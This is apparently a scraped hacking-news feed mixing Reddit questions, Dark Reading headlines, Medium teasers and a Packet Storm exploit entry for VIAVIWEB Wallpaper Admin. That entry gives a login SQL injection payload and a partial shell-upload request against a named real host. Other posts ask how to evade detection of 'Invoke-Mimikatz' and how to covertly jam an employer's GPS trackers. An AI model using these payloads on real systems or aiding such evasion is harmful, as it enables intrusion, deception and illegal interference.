hacking: security in practice
polymorphic string printing

Can you print "Invoke-Mimikatz" in PowerShell without being detected using a mutation engine?

submitted by /u/dannova23
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Vuln scanner, fim & data sensitivity scanning

Anyone know of any all in one tools that encompass vulnerability scanning, file integrity monitoring and stay sensitivity scanning in one?

submitted by /u/WhoWantsASausage
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Embedded systems design for hacking?

I know a few things like coding in C for embedded systems, making microcontrollers, custom pcbs etc. How well will this help me in the field of cyber sec, what are the uses or applications of this skill in modern day hacking?

submitted by /u/Horse-Trojan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cyberattackers Make Waves in Hotel Swimming Pool Controls

Pool controllers exposed to the Internet with default passwords let threat actors tweak pool pH levels, and potentially more.

Dark Reading: Attacks/Breaches
5 Ways to Improve Fraud Detection and User Experience

If we know a user is legitimate, then why would we want to make their user experience more challenging?

Dark Reading: Attacks/Breaches
TPx Introduces Penetration Scanning, Expands Security Advisory Services

TPx, a leading nationwide managed services provider (MSP) delivering cybersecurity, managed networks, and cloud communications, today announced the addition of penetration scanning to its Security Advisory Services portfolio.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VIAVIWEB Wallpaper Admin SQL Injection / Shell Upload

https://4.bp.blogspot.com/-INMz00VTlDg/WWlvPzJvf6I/AAAAAAAAIM4/tZDwU9OuM_wuiTGIuyom6E8lddjUI2D5ACLcBGAs/s1600/h29.png
VIAVIWEB Wallpaper Admin suffers from remote shell upload and remote SQL injection vulnerabilities.

SHA-256 | 2adfb8f70f50742a66bf5ad5b7a1bccff06637cf13ee52a9534547c07ead30ed

Download
```
# Exploit Title: [VIAVIWEB Wallpaper Admin - Multiple vulnrabilities]
# Google Dork: intext:"Wallpaper Admin" "LOGIN" "password" "Username"
# Date: [18/09/2022]
# Exploit Author: [Edd13Mora]
# Vendor Homepage: [www.viaviweb.com]
# Version: [N/A]
# Tested on: [Windows 11 - Kali Linux]

------------------
SQLI on the Login page
------------------
payload --> admin' or 1=1-- -
---
POC:
---
[1] Disable JavaScript on ur browser put the payload and submit
[2] Reactive JavaScript and resend the request
---------------------------
Authenticated SQL Injection:
---------------------------
Vulnerable End-Point --> http://localhost/PAth-Where-Script-Installed/edit_gallery_image.php?img_id=[number]
-----------------------------------------------
Remote Code Execution (RCE none authenticated):
-----------------------------------------------
Poc:
----
Vulnerable End-Point --> http://localhost/PAth-Where-Script-Installed/add_gallery_image.php?add=yes
--------------------
Burp Request :
--------------------

POST /hd_wallpaper/add_gallery_image.php?add=yes HTTP/2
Host: http://googlezik.freehostia.com
Cookie: _octo=GH1.1.993736861.1663458698; PHPSESSID=qh3c29sbjr009jdg8oraed4o52
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33893919268150571572221367848
Content-Length: 467
Origin: http://googlezik.freehostia.com
Referer: http://googlezik.freehostia.com/hd_wallpaper/add_gallery_image.php?add=yes
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

-----------------------------33893919268150571572221367848
Content-Disposition: form-data; name="category_id"

1
-----------------------------33893919268150571572221367848
Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: image/png


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
THM — Intermediate Nmap

https://cdn-images-1.medium.com/max/600/1*sMOB5TzeQ804d71gaABrTw.png
Platform: TryHackMe
Room: Intermediate Nmap
Difficulty: Easy
Tags: Security, Nnetwork, Enumeration, Netcat
Description: Can you combine…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Red Team Threat Intel | Tryhackme

https://cdn-images-1.medium.com/max/600/0*NGaoK7mSOWHXv2Mo.png
THM room

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Phonon Brief #10 Sept 10–17, 2022

https://cdn-images-1.medium.com/max/1066/1*8zE9vfDgpG5DaQpyBVhapw.png
Welcome to the 10th edition of The Phonon Brief. With so much happening in our community we are brining the Phonon Brief back!

Continue reading on Phonon DAO »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Sunsetting legacy Cybersecurity Process for Better Optimization and Security Modernization

https://cdn-images-1.medium.com/max/2600/1*RDnfvIkFxUPve9XL9k8PcA.jpeg
The idea of “if it isn’t broken, don’t fix it” should not apply to cybersecurity. Most organizations develop three to five-year phasing…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Gauing for instant bounties.[Conclusion]
https://debprasadbanerjee502.medium.com/gauing-for-instant-bounties-conclusion-5f892782b066?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

So in the previous part, I explained how to Gau, to score instant bounties.Continue reading on Medium » (https://debprasadbanerjee502.medium.com/gauing-for-instant-bounties-conclusion-5f892782b066?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Gauing for instant bounties.[Conclusion]

So in the previous part, I explained how to Gau, to score instant bounties.Continue reading on Medium »
Read more...

hacking: security in practice
Can I hack/Jam a GPS/Geo-locator temporarily without destroying the device?

Idk if I’m in the proper subreddit, but here goes…

Here’s context:

I work for a small company where we have to go to and from sites all day long. We recently got a new boss who is really “by the book” and he was brought in to grow the company and for his harsh and straight forward demeanour. Within his first few months, he changed up all of our policies, and fired two great guys (they screwed up, but we all thought it could have been handled better). Needless to say, he doesn’t trust any of us, and he thinks we’re up to no good while we’re left alone in the field.

Me and the other guys and girls I work with are a pretty chill bunch, and we don’t really abuse our freedom in the field. But Big Brother wants to now instal geo-locators and dash-cams in the work trucks. We’re all rubbed the wrong way by this because we think it’s an invasion of our privacy, and the lack of trust is also annoying us.

Is there anyway to jam the signal of these devices without damaging them? I just want to make it look like they screw up sometimes because “technology amiright”… I really don’t want to cause damage to company property, and I want us to have times where we can just chill without having to worry about management.

Any help would be appreciated!

submitted by /u/Cronikkkk
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video